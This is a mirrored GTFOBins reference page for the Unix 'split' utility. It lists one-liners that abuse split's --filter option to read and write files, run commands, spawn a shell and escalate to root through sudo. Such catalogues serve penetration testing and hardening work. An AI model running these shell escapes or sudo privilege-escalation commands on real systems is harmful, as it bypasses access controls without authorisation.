1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-24 16:26:01 +02:00
GTFOBins.github.io/_gtfobins/split.md
2021-04-28 09:01:24 +02:00

1.4 KiB

functions
file-read file-write command shell sudo
code
LFILE=file_to_read TF=$(mktemp) split $LFILE $TF cat $TF*
description code
Data will be written in the current directory in a file named `xaa` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough. TF=$(mktemp) echo DATA >$TF split -b999m $TF
description code
GNU version only. Data will be written in the current directory in a file named `xaa.xxx` by default. The input file will be split in multiple smaller files unless the `-b` option is used, pick a value in MB big enough. EXT=.xxx TF=$(mktemp) echo DATA >$TF split -b999m --additional-suffix $EXTENSION $TF
description code
Command execution using an existing or newly created file. COMMAND=id TF=$(mktemp) split --filter=$COMMAND $TF
description code
Command execution using stdin (and close it directly). COMMAND=id echo | split --filter=$COMMAND /dev/stdin
description code
The shell prompt is not printed. split --filter=/bin/sh /dev/stdin
description code
The shell prompt is not printed. sudo split --filter=/bin/sh /dev/stdin